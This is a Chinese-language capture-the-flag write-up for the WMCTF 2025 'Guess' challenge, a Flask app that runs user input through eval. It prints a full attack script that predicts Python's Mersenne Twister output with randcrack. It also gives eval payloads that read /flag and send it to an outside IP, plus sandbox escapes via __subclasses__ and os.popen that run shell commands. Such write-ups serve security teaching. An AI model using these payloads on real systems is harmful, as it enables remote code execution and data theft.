WMCTF 2025 Writeup: Guess 题目详解

这是一个结合密码学、python eval注入攻击的题目

核心逻辑分析

首先,这个题目注册登录谁都会,所以我们直接看关键代码:

import random

rd = random.Random() # 关键点1


@app.post('/api')
def protected_api():

    data = request.get_json()

    key1 = data.get('key')
    
    if not key1:
        return jsonify({'error': 'key are required'}), 400

    key2 = generate_random_string()
    
    if not str(key1) == str(key2):
        return jsonify({
            'message': 'Not Allowed:' + str(key2) ,
        }), 403
    

    payload = data.get('payload')

    if payload:
        eval(payload, {'__builtin__':{}})  # 关键点2
    
    return jsonify({
        'message': 'Access granted',
    })

预测随机数

如代码所示,这里使用的是 random 库的 random 函数,这个函数的算法实际上是梅森旋转算法(Mersenne Twister),根据前随机生成的 624 个数字可以预测下一个数字,所以这里我们第一步需要破解随机数。

攻击脚本如下:

import requests, re
from randcrack import RandCrack

url = "http://49.232.42.74:32328/api"
session = "eyJ1c2VyX2lkIjoiMzM5NTYxNzk0MyIsInVzZXJuYW1lIjoiYWRtaW4ifQ.aM62Kg.XvLwMeAsN6Bx2n66X2JejxJZR1E"

with open("number.txt", 'w') as f:
    f.write('')

for _ in range(624):
    response = requests.post(url, headers={'Cookie': session}, 
                             json={"key":123, "payload": 123}, timeout=10)
    msg = response.json().get('message', '')
    match = re.search(r':(\d+)', msg)
    number = match.group(1)
    print(msg, number)
    with open("number.txt", 'a+') as f:
        f.write(number)
        f.write("\n")

rc = RandCrack()

numbers = []
with open("number.txt", 'r') as f:
    numbers = [int(line.strip()) for line in f.readlines()]

for number in numbers:
    rc.submit(number)

key = rc.predict_getrandbits(32)
print(key)

response = requests.post(url, 
                         headers={'Cookie': session}, 
                         json=
                         {
                            "key":key,
                            "payload": """__import__('urllib').request.urlopen("http://47.95.170.101:9999/upload?msg=1"+open('/flag','r').read())"""
                         },
                         timeout=10)
for i in range(5):
    key = rc.predict_getrandbits(32)
    print(key)
print(response.content)

构造 Payload 命令

这个脚本首先的作用是发送 624 次请求,然后获取返回的 key2,也就是生成的随机数,然后预测下一次生成的随机数,匹配成功后就可以注入代码。上面的网页代码中虽然做了过滤,但是实际上是一个无用的过滤,因为 Python 3 已经不适用 __builtin__

这里我们构造的命令注入代码是这样的:

__import__('urllib').request.urlopen("http://外部服务器url/upload?msg=1"+open('/flag','r').read())

先读取 flag 的内容,然后使用 Python 的 urllib 库函数发送 request 到服务器上接收,接着到外部服务器上直接读取 flag。这是在出网的前提下才能适用的做法。

不出网的解法

这个题目由于权限问题,在使用数据外带的方法之前,尝试过各种方法,比如将 flag 直接写入同级目录下、404 污染、将 flag 写入 login.html 文件下等方法,均失败。

首先,构造出可执行系统命令的 lambda 函数,然后创建 static 静态文件夹,再将 flag 写入 static 文件夹下,之后直接访问 flag 文件就可以了。

Payload 如下:

(lambda o: 
    [
        o.mkdir('static'), 
        open('static/flag','w').write(o.popen('tac /flag').read())
    ]
)(next(
    c.__init__.__globals__['os'] 
    for c in ().__class__.__base__.__subclasses__() 
    if hasattr(c.__init__,'__globals__') 
    and 'os' in c.__init__.__globals__
))

事实上可以更加简单,就算是builtin过滤成功的情况下,依然可以使用下面的构造来进行攻击:

首先,先创建文件夹static:

{
"payload":"''.__class__.__base__.__subclasses__()[138].__init__.__globals__['popen']('mkdir -p /app/static').read()"
}

然后把flag文件写入static

{
"payload":"''.__class__.__base__.__subclasses__()[138].__init__.__globals__['popen']('cp /flag /app/static/flag.txt').read()"
}

最后从网页中访问static/flag.txt